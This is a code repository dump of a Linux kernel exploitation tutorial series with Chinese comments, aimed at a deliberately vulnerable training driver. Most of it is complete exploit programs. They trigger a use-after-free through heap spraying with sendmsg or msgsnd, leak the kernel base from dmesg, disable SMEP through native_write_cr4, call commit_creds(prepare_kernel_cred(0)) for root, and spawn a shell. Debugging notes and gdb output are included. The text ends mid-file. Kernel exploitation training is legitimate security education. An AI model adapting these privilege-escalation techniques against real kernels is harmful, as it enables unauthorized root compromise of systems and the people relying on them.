├── 1-heap_spray_UAF ├── easy_uaf.c ├── exp_heap_spray.c ├── exp_heap_spray_original.c ├── test_smep.c └── vuln_driver.h ├── 2-arbitrary_rw ├── VDSO.dump ├── exp_VDSO.c ├── exp_cred.c ├── exp_run_cmd.c ├── exp_tty_struct.c └── sudo_me.c ├── 3-uninitialised_stack └── exp_uninitialised_stack.c ├── file ├── bzImage ├── gdb_kernel.sh ├── start.sh ├── vuln_driver.cpio └── vuln_driver.ko ├── readme.md └── vulnerable_driver ├── Makefile └── src ├── arbitrary_rw.h ├── buffer_overflow.h ├── null_pointer_deref.h ├── uninitialised_stack_var.h ├── use_after_free.h ├── vuln_driver.c └── vuln_driver.h /1-heap_spray_UAF/easy_uaf.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | //#include "common.h" 19 | //#include "vuln_driver.h" 20 | #ifndef _VULN_DRIVER_ 21 | #define _VULN_DRIVER_ 22 | #define DEVICE_NAME "vulnerable_device" 23 | #define IOCTL_NUM 0xFE 24 | #define DRIVER_TEST _IO (IOCTL_NUM, 0) 25 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM, 1, char *) 26 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM, 2, unsigned long) 27 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM, 3) 28 | #define USE_UAF_OBJ _IO (IOCTL_NUM, 4) 29 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM, 5, unsigned long) 30 | #define FREE_UAF_OBJ _IO(IOCTL_NUM, 6) 31 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM, 7, unsigned long) 32 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM, 8, unsigned long) 33 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM, 9, unsigned long) 34 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM, 10, unsigned long) 35 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM, 11, unsigned long) 36 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM, 12, unsigned long) 37 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM, 13, unsigned long) 38 | #endif 39 | 40 | #define BUFF_SIZE 96 41 | 42 | typedef struct k_object 43 | { 44 | char buff[BUFF_SIZE]; 45 | }k_object; 46 | 47 | void use_after_free_kobj(int fd) 48 | { 49 | k_object *obj = malloc(sizeof(k_object)); 50 | 51 | //60 bytes overwrites the last 4 bytes of the address 52 | memset(obj->buff, 0x42, 96); 53 | 54 | ioctl(fd, ALLOC_UAF_OBJ, NULL); 55 | ioctl(fd, FREE_UAF_OBJ, NULL); 56 | 57 | ioctl(fd, ALLOC_K_OBJ, obj); 58 | ioctl(fd, USE_UAF_OBJ, NULL); 59 | return ; 60 | } 61 | 62 | int main(void) 63 | { 64 | int fd = open("/dev/vulnerable_device", O_RDWR); 65 | if (fd<0){ 66 | printf("[-] Open error!\n"); 67 | return 0; 68 | } 69 | use_after_free_kobj(fd); 70 | return 0; 71 | } -------------------------------------------------------------------------------- /1-heap_spray_UAF/exp_heap_spray.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #ifndef _VULN_DRIVER_ 24 | #define _VULN_DRIVER_ 25 | #define DEVICE_NAME "vulnerable_device" 26 | #define IOCTL_NUM 0xFE 27 | #define DRIVER_TEST _IO (IOCTL_NUM,0) 28 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *) 29 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long) 30 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3) 31 | #define USE_UAF_OBJ _IO (IOCTL_NUM,4) 32 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long) 33 | #define FREE_UAF_OBJ _IO (IOCTL_NUM,6) 34 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7 unsigned long) 35 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long) 36 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long) 37 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long) 38 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long) 39 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long) 40 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long) 41 | #endif 42 | 43 | #define BUFF_SIZE 96 44 | #define PATH "/dev/vulnerable_device" 45 | 46 | // UAF 对象 47 | typedef struct uaf_obj 48 | { 49 | char uaf_first_buff[56]; 50 | long arg; 51 | void (*fn)(long); 52 | char uaf_second_buff[12]; 53 | }; 54 | 55 | //让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell 56 | void force_single_core() 57 | { 58 | cpu_set_t mask; 59 | CPU_ZERO(&mask); 60 | CPU_SET(0,&mask); 61 | 62 | if (sched_setaffinity(0,sizeof(mask),&mask)) 63 | printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n"); 64 | return; 65 | } 66 | 67 | //用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数 68 | void use_after_free_sendmsg(int fd, size_t target, size_t arg) 69 | { 70 | char buff[BUFF_SIZE]; 71 | struct msghdr msg={0}; 72 | struct sockaddr_in addr={0}; 73 | int sockfd = socket(AF_INET,SOCK_DGRAM,0); 74 | // 布置堆喷数据 75 | memset(buff,0x43,sizeof buff); 76 | memcpy(buff+56,&arg,sizeof(long)); 77 | memcpy(buff+56+(sizeof(long)),&target,sizeof(long)); 78 | 79 | addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); 80 | addr.sin_family=AF_INET; 81 | addr.sin_port=htons(6666); 82 | 83 | // buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小 84 | msg.msg_control=buff; 85 | msg.msg_controllen=BUFF_SIZE; 86 | msg.msg_name=(caddr_t)&addr; 87 | msg.msg_namelen= sizeof(addr); 88 | // 构造UAF对象 89 | ioctl(fd,ALLOC_UAF_OBJ,NULL); 90 | ioctl(fd,FREE_UAF_OBJ,NULL); 91 | //开始堆喷 92 | for (int i=0;i<10000;i++){ 93 | sendmsg(sockfd,&msg,0); 94 | } 95 | //触发 96 | ioctl(fd,USE_UAF_OBJ,NULL); 97 | } 98 | 99 | //用msgsnd构造堆喷 100 | int use_after_free_msgsnd(int fd, size_t target, size_t arg) 101 | { 102 | int new_len=BUFF_SIZE-48; 103 | struct { 104 | size_t mtype; 105 | char mtext[new_len]; 106 | } msg; 107 | //布置堆喷数据 108 | memset(msg.mtext,0x42,new_len-1); 109 | memcpy(msg.mtext+56-48,&arg,sizeof(long)); 110 | memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long)); 111 | msg.mtext[new_len]=0; 112 | msg.mtype=1; //mtype必须 大于0 113 | 114 | // 创建消息队列 115 | int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT); 116 | // 构造UAF对象 117 | ioctl(fd, ALLOC_UAF_OBJ,NULL); 118 | ioctl(fd,FREE_UAF_OBJ,NULL); 119 | //开始堆喷 120 | for (int i=0;i<120;i++) 121 | msgsnd(msqid,&msg,sizeof(msg.mtext),0); 122 | //触发 123 | ioctl(fd,USE_UAF_OBJ,NULL); 124 | } 125 | 126 | // 触发page_fault 泄露kernel基址 127 | void do_page_fault() 128 | { 129 | size_t info_leak_magic=0xffffffffffe39dd7; //0x41414141deadbeef //只要是无法访问的地址就行,触发page_fault 130 | int child_fd=open(PATH,O_RDWR); 131 | //use_after_free_msgsnd(child_fd, info_leak_magic, 0); //触发执行info_leak_magic地址处的代码 132 | use_after_free_sendmsg(child_fd, info_leak_magic, 0); 133 | return ; 134 | } 135 | 136 | //从dmesg读取打印信息,泄露kernel基址 137 | #define GREP_INFOLEAK "dmesg | grep SyS_ioctl+0x79 | awk '{print $3}' | cut -d '<' -f 2 | cut -d '>' -f 1 > /tmp/infoleak" 138 | size_t get_info_leak() 139 | { 140 | system(GREP_INFOLEAK); 141 | size_t addr=0; 142 | FILE *fd=fopen("/tmp/infoleak","r"); 143 | fscanf(fd,"%lx",&addr); 144 | fclose(fd); 145 | return addr; 146 | } 147 | 148 | size_t prepare_kernel_cred_addr=0xa6ca0; 149 | size_t commit_creds_addr=0xa68b0; 150 | size_t native_write_cr4_addr=0x65a30; 151 | size_t sys_ioctl_offset=0x22bc59; 152 | size_t fake_cr4=0x407f0; 153 | 154 | void get_root() 155 | { 156 | char* (*pkc)(int) = prepare_kernel_cred_addr; 157 | void (*cc)(char*) = commit_creds_addr; 158 | (*cc)((*pkc)(0)); 159 | } 160 | 161 | int main() 162 | { 163 | // step 1: 只允许在单核上运行 164 | force_single_core(); 165 | 166 | int fd = open("/dev/vulnerable_device", O_RDWR); 167 | if (fd<0){ 168 | printf("[-] Open error!\n"); 169 | return 0; 170 | } 171 | ioctl(fd,DRIVER_TEST,NULL); //用于标识dmesg中字符串的开始 172 | 173 | // step 2: 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来 174 | pid_t pid=fork(); 175 | if (pid==0){ 176 | do_page_fault(); 177 | exit(0); 178 | } 179 | int status; 180 | wait(&status); // 等子进程结束 181 | //sleep(10); 182 | printf("[+] Begin to leak address by dmesg![+]\n"); 183 | size_t kernel_base = get_info_leak()-sys_ioctl_offset; 184 | printf("[+] Kernel base addr : %p [+] \n", kernel_base); 185 | 186 | native_write_cr4_addr+=kernel_base; 187 | prepare_kernel_cred_addr+=kernel_base; 188 | commit_creds_addr+=kernel_base; 189 | printf("[+] We can get 3 important function address ![+]\n"); 190 | printf(" native_write_cr4_addr = %p\n",native_write_cr4_addr); 191 | printf(" prepare_kernel_cred_addr = %p\n",prepare_kernel_cred_addr); 192 | printf(" commit_creds_addr = %p\n",commit_creds_addr); 193 | 194 | // step 3: 关闭smep,并提权 195 | use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4); 196 | use_after_free_sendmsg(fd,get_root,0); //MMAP_ADDR 197 | //use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4); 198 | //use_after_free_msgsnd(fd,get_root,0); //MMAP_ADDR 199 | 200 | // step 4: 获得shell 201 | if (getuid()==0) 202 | { 203 | printf("[+] Congratulations! You get root shell !!! [+]\n"); 204 | system("/bin/sh"); 205 | } 206 | 207 | close(fd); 208 | return 0; 209 | } 210 | /* 211 | [+] Kernel base addr : 0xffffffffffdd43a7 [+] 212 | [+] We can get 3 important function address ![+] 213 | native_write_cr4_addr = 0xffffffffffe39dd7 214 | prepare_kernel_cred_addr = 0xffffffffffe7b047 215 | commit_creds_addr = 0xffffffffffe7ac57 216 | 217 | 问题1: 218 | 报错:执行0x100000000000处的内容时产生pagefault,可能是访问0x1000002ce8fd地址出错 219 | gdb-peda$ x /10i $pc 220 | => 0x100000000000: push rbp 221 | 0x100000000001: mov rbp,rsp 222 | 0x100000000004: push rbx 223 | 0x100000000005: sub rsp,0x8 224 | 0x100000000009: 225 | mov rbx,QWORD PTR [rip+0x2ce8ed] # 0x1000002ce8fd 226 | 0x100000000010: 227 | mov rax,QWORD PTR [rip+0x2ce8ee] # 0x1000002ce905 228 | 0x100000000017: mov edi,0x0 229 | 0x10000000001c: call rax 230 | 0x10000000001e: mov rdi,rax 231 | 0x100000000021: call rbx 232 | 233 | [ 10.421887] BUG: unable to handle kernel paging request at 00001000002ce8fd 234 | [ 10.424836] IP: [<0000100000000009>] 0x100000000009 235 | 236 | 问题2: 237 | 普通用户权限1000下,不能触发page_fault,所以不能靠dmesg泄露kernel地址。我怀疑是内核的保护机制,在普通用户权限下不会因为pagefault而打印出内核基址。 238 | 239 | 调试: 240 | ALLOC_UAF_OBJ 241 | .text:0000000000000402 call kmem_cache_alloc_trace 242 | USE_UAF_OBJ 243 | .text:0000000000000486 mov rdi, [rax+38h] 244 | .text:000000000000048A mov rax, [rax+40h] 245 | .text:000000000000048E call __x86_indirect_thunk_rax 246 | 247 | .bss:0000000000001148 global_uaf_obj 248 | $ cat /sys/module/vuln_driver/sections/.text 249 | 0xffffffffc0008000 250 | 0xffffffffc0000000 251 | 252 | 253 | */ 254 | -------------------------------------------------------------------------------- /1-heap_spray_UAF/exp_heap_spray_original.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #ifndef _VULN_DRIVER_ 24 | #define _VULN_DRIVER_ 25 | #define DEVICE_NAME "vulnerable_device" 26 | #define IOCTL_NUM 0xFE 27 | #define DRIVER_TEST _IO (IOCTL_NUM,0) 28 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *) 29 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long) 30 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3) 31 | #define USE_UAF_OBJ _IO (IOCTL_NUM,4) 32 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long) 33 | #define FREE_UAF_OBJ _IO (IOCTL_NUM,6) 34 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7 unsigned long) 35 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long) 36 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long) 37 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long) 38 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long) 39 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long) 40 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long) 41 | #endif 42 | 43 | #define BUFF_SIZE 96 44 | #define PATH "/dev/vulnerable_device" 45 | 46 | // UAF 对象 47 | typedef struct uaf_obj 48 | { 49 | char uaf_first_buff[56]; 50 | long arg; 51 | void (*fn)(long); 52 | char uaf_second_buff[12]; 53 | }; 54 | 55 | //让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell 56 | void force_single_core() 57 | { 58 | cpu_set_t mask; 59 | CPU_ZERO(&mask); 60 | CPU_SET(0,&mask); 61 | 62 | if (sched_setaffinity(0,sizeof(mask),&mask)) 63 | printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n"); 64 | return; 65 | } 66 | 67 | //用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数 68 | void use_after_free_sendmsg(int fd, size_t target, size_t arg) 69 | { 70 | char buff[BUFF_SIZE]; 71 | struct msghdr msg={0}; 72 | struct sockaddr_in addr={0}; 73 | int sockfd = socket(AF_INET,SOCK_DGRAM,0); 74 | // 布置堆喷数据 75 | memset(buff,0x43,sizeof buff); 76 | memcpy(buff+56,&arg,sizeof(long)); 77 | memcpy(buff+56+(sizeof(long)),&target,sizeof(long)); 78 | 79 | addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); 80 | addr.sin_family=AF_INET; 81 | addr.sin_port=htons(6666); 82 | 83 | // buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小 84 | msg.msg_control=buff; 85 | msg.msg_controllen=BUFF_SIZE; 86 | msg.msg_name=(caddr_t)&addr; 87 | msg.msg_namelen= sizeof(addr); 88 | // 构造UAF对象 89 | ioctl(fd,ALLOC_UAF_OBJ,NULL); 90 | ioctl(fd,FREE_UAF_OBJ,NULL); 91 | //开始堆喷 92 | for (int i=0;i<10000;i++){ 93 | sendmsg(sockfd,&msg,0); 94 | } 95 | //触发 96 | ioctl(fd,USE_UAF_OBJ,NULL); 97 | } 98 | 99 | //用msgsnd构造堆喷 100 | int use_after_free_msgsnd(int fd, size_t target, size_t arg) 101 | { 102 | int new_len=BUFF_SIZE-48; 103 | struct { 104 | size_t mtype; 105 | char mtext[new_len]; 106 | } msg; 107 | //布置堆喷数据 108 | memset(msg.mtext,0x42,new_len-1); 109 | memcpy(msg.mtext+56-48,&arg,sizeof(long)); 110 | memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long)); 111 | msg.mtext[new_len]=0; 112 | msg.mtype=1; //mtype必须 大于0 113 | 114 | // 创建消息队列 115 | int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT); 116 | // 构造UAF对象 117 | ioctl(fd, ALLOC_UAF_OBJ,NULL); 118 | ioctl(fd,FREE_UAF_OBJ,NULL); 119 | //开始堆喷 120 | for (int i=0;i<120;i++) 121 | msgsnd(msqid,&msg,sizeof(msg.mtext),0); 122 | //触发 123 | ioctl(fd,USE_UAF_OBJ,NULL); 124 | } 125 | 126 | // 触发page_fault 泄露kernel基址 127 | void do_page_fault() 128 | { 129 | size_t info_leak_magic=0xffffffffffe39dd7; //0x41414141deadbeef //只要是无法访问的地址就行,触发page_fault 130 | int child_fd=open(PATH,O_RDWR); 131 | //use_after_free_msgsnd(child_fd, info_leak_magic, 0); //触发执行info_leak_magic地址处的代码 132 | use_after_free_sendmsg(child_fd, info_leak_magic, 0); 133 | return ; 134 | } 135 | 136 | //从dmesg读取打印信息,泄露kernel基址 137 | #define GREP_INFOLEAK "dmesg | grep SyS_ioctl+0x79 | awk '{print $3}' | cut -d '<' -f 2 | cut -d '>' -f 1 > /tmp/infoleak" 138 | size_t get_info_leak() 139 | { 140 | system(GREP_INFOLEAK); 141 | size_t addr=0; 142 | FILE *fd=fopen("/tmp/infoleak","r"); 143 | fscanf(fd,"%lx",&addr); 144 | fclose(fd); 145 | return addr; 146 | } 147 | 148 | // 用户地址,放用户代码 149 | #define MMAP_ADDR 0x100000000000 150 | 151 | size_t prepare_kernel_cred_addr=0xa6ca0; 152 | size_t commit_creds_addr=0xa68b0; 153 | size_t native_write_cr4_addr=0x65a30; 154 | size_t sys_ioctl_offset=0x22bc59; 155 | size_t fake_cr4=0x407f0; 156 | 157 | void get_root() 158 | { 159 | char* (*pkc)(int) = prepare_kernel_cred_addr; 160 | void (*cc)(char*) = commit_creds_addr; 161 | (*cc)((*pkc)(0)); 162 | } 163 | 164 | int main() 165 | { 166 | // step 1: 只允许在单核上运行 167 | force_single_core(); 168 | 169 | int fd=open(PATH,O_RDWR); 170 | ioctl(fd,DRIVER_TEST,NULL); //用于标识dmesg中字符串的开始 171 | 172 | // step 2: 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来 173 | pid_t pid=fork(); 174 | if (pid==0){ 175 | do_page_fault(); 176 | exit(0); 177 | } 178 | int status; 179 | wait(&status); // 等子进程结束 180 | //sleep(10); 181 | printf("[+] Begin to leak address by dmesg![+]\n"); 182 | size_t kernel_base = get_info_leak()-sys_ioctl_offset; 183 | printf("[+] Kernel base addr : %p [+] \n", kernel_base); 184 | 185 | native_write_cr4_addr+=kernel_base; 186 | prepare_kernel_cred_addr+=kernel_base; 187 | commit_creds_addr+=kernel_base; 188 | printf("[+] We can get 3 important function address ![+]\n"); 189 | printf(" native_write_cr4_addr = %p\n",native_write_cr4_addr); 190 | printf(" prepare_kernel_cred_addr = %p\n",prepare_kernel_cred_addr); 191 | printf(" commit_creds_addr = %p\n",commit_creds_addr); 192 | 193 | // step 3: mmap映射到用户空间地址MMAP_ADDR,并放置弹shell的代码 194 | void *addr=NULL; 195 | addr=mmap((void *)MMAP_ADDR,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON,0,0); 196 | if (addr == MAP_FAILED){ 197 | printf("[-] mmap fault !!! "); 198 | return -1; 199 | } 200 | memcpy(addr,get_root,128); 201 | 202 | // step 4: 关闭smep,并提权 203 | use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4); 204 | use_after_free_sendmsg(fd,MMAP_ADDR,0); 205 | //use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4); 206 | //use_after_free_msgsnd(fd,MMAP_ADDR,0); 207 | 208 | // step 5: 获得shell 209 | if (getuid()==0) 210 | { 211 | printf("[+] Congratulations! You get root shell !!! [+]\n"); 212 | system("/bin/sh"); 213 | } 214 | 215 | munmap(MMAP_ADDR,0x1000); 216 | close(fd); 217 | return 0; 218 | } 219 | /* 220 | [+] Kernel base addr : 0xffffffffffdd43a7 [+] 221 | [+] We can get 3 important function address ![+] 222 | native_write_cr4_addr = 0xffffffffffe39dd7 223 | prepare_kernel_cred_addr = 0xffffffffffe7b047 224 | commit_creds_addr = 0xffffffffffe7ac57 225 | 226 | 报错:执行0x100000000000处的内容时产生pagefault,可能是访问0x1000002ce8fd地址出错 227 | gdb-peda$ x /10i $pc 228 | => 0x100000000000: push rbp 229 | 0x100000000001: mov rbp,rsp 230 | 0x100000000004: push rbx 231 | 0x100000000005: sub rsp,0x8 232 | 0x100000000009: 233 | mov rbx,QWORD PTR [rip+0x2ce8ed] # 0x1000002ce8fd 234 | 0x100000000010: 235 | mov rax,QWORD PTR [rip+0x2ce8ee] # 0x1000002ce905 236 | 0x100000000017: mov edi,0x0 237 | 0x10000000001c: call rax 238 | 0x10000000001e: mov rdi,rax 239 | 0x100000000021: call rbx 240 | 241 | [ 10.421887] BUG: unable to handle kernel paging request at 00001000002ce8fd 242 | [ 10.424836] IP: [<0000100000000009>] 0x100000000009 243 | 244 | */ 245 | -------------------------------------------------------------------------------- /1-heap_spray_UAF/test_smep.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #ifndef _VULN_DRIVER_ 24 | #define _VULN_DRIVER_ 25 | #define DEVICE_NAME "vulnerable_device" 26 | #define IOCTL_NUM 0xFE 27 | #define DRIVER_TEST _IO (IOCTL_NUM,0) 28 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *) 29 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long) 30 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3) 31 | #define USE_UAF_OBJ _IO (IOCTL_NUM,4) 32 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long) 33 | #define FREE_UAF_OBJ _IO (IOCTL_NUM,6) 34 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7 unsigned long) 35 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long) 36 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long) 37 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long) 38 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long) 39 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long) 40 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long) 41 | #endif 42 | 43 | #define BUFF_SIZE 96 44 | 45 | typedef struct uaf_obj 46 | { 47 | char uaf_first_buff[56]; 48 | long arg; 49 | void (*fn)(long); 50 | char uaf_second_buff[12]; 51 | }; 52 | 53 | //用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数 54 | void use_after_free_sendmsg(int fd, size_t target, size_t arg) 55 | { 56 | char buff[BUFF_SIZE]; 57 | struct msghdr msg={0}; 58 | struct sockaddr_in addr={0}; 59 | int sockfd = socket(AF_INET,SOCK_DGRAM,0); 60 | // 布置堆喷数据 61 | memset(buff,0x43,sizeof buff); 62 | memcpy(buff+56,&arg,sizeof(long)); 63 | memcpy(buff+56+(sizeof(long)),&target,sizeof(long)); 64 | 65 | addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); 66 | addr.sin_family=AF_INET; 67 | addr.sin_port=htons(6666); 68 | 69 | // buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小 70 | msg.msg_control=buff; 71 | msg.msg_controllen=BUFF_SIZE; 72 | msg.msg_name=(caddr_t)&addr; 73 | msg.msg_namelen= sizeof(addr); 74 | // 构造UAF对象 75 | ioctl(fd,ALLOC_UAF_OBJ,NULL); 76 | ioctl(fd,FREE_UAF_OBJ,NULL); 77 | //开始堆喷 78 | for (int i=0;i<10000;i++){ 79 | sendmsg(sockfd,&msg,0); 80 | } 81 | //触发 82 | ioctl(fd,USE_UAF_OBJ,NULL); 83 | } 84 | 85 | //用msgsnd构造堆喷 86 | int use_after_free_msgsnd(int fd, size_t target, size_t arg) 87 | { 88 | int new_len=BUFF_SIZE-48; 89 | struct { 90 | size_t mtype; 91 | char mtext[new_len]; 92 | } msg; 93 | //布置堆喷数据 94 | memset(msg.mtext,0x42,new_len-1); 95 | memcpy(msg.mtext+56-48,&arg,sizeof(long)); 96 | memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long)); 97 | msg.mtext[new_len]=0; 98 | msg.mtype=1; //mtype必须 大于0 99 | 100 | // 创建消息队列 101 | int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT); 102 | // 构造UAF对象 103 | ioctl(fd, ALLOC_UAF_OBJ,NULL); 104 | ioctl(fd,FREE_UAF_OBJ,NULL); 105 | //开始堆喷 106 | for (int i=0;i<120;i++) 107 | msgsnd(msqid,&msg,sizeof(msg.mtext),0); 108 | //触发 109 | ioctl(fd,USE_UAF_OBJ,NULL); 110 | } 111 | 112 | // 用户地址,放用户代码 113 | #define MMAP_ADDR 0x100000000000 114 | #define PATH "/dev/vulnerable_device" 115 | // 此函数仅用作测试 116 | void stub() 117 | { 118 | int x=0; 119 | x++; 120 | } 121 | 122 | int main() 123 | { 124 | size_t native_write_cr4_addr=0xffffffff81065a30; 125 | size_t fake_cr4=0x407e0; 126 | 127 | void *addr=mmap((void *)MMAP_ADDR,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON,0,0); 128 | void **fn=MMAP_ADDR; 129 | // 拷贝stub代码到 MMAP_ADDR 130 | memcpy(fn,stub,128); 131 | int fd=open(PATH,O_RDWR); 132 | //用于标识dmesg中字符串的开始 133 | ioctl(fd,DRIVER_TEST,NULL); 134 | /* 135 | use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4); 136 | use_after_free_sendmsg(fd,MMAP_ADDR,0); 137 | */ 138 | 139 | use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4); 140 | use_after_free_msgsnd(fd,MMAP_ADDR,0); 141 | 142 | return 0; 143 | } 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | -------------------------------------------------------------------------------- /1-heap_spray_UAF/vuln_driver.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This header file defines the IOCTL numbers and macros for interacting 3 | * with the different vulnerabilities. 4 | */ 5 | 6 | #ifndef _VULN_DRIVER_ 7 | 8 | #define _VULN_DRIVER_ 9 | 10 | #define DEVICE_NAME "vulnerable_device" 11 | 12 | #define IOCTL_NUM 0xFE 13 | 14 | #define DRIVER_TEST _IO (IOCTL_NUM, 0) 15 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM, 1, char *) 16 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM, 2, unsigned long) 17 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM, 3) 18 | #define USE_UAF_OBJ _IO (IOCTL_NUM, 4) 19 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM, 5, unsigned long) 20 | #define FREE_UAF_OBJ _IO(IOCTL_NUM, 6) 21 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM, 7, unsigned long) 22 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM, 8, unsigned long) 23 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM, 9, unsigned long) 24 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM, 10, unsigned long) 25 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM, 11, unsigned long) 26 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM, 12, unsigned long) 27 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM, 13, unsigned long) 28 | #endif 29 | -------------------------------------------------------------------------------- /2-arbitrary_rw/VDSO.dump: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bsauce/kernel_exploit_series/5858ebe88e3bfb849f38ac2cddcd97bac11784d4/2-arbitrary_rw/VDSO.dump -------------------------------------------------------------------------------- /2-arbitrary_rw/exp_VDSO.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include //prctl 23 | #include //AT_SYSINFO_EHDR 24 | 25 | #ifndef 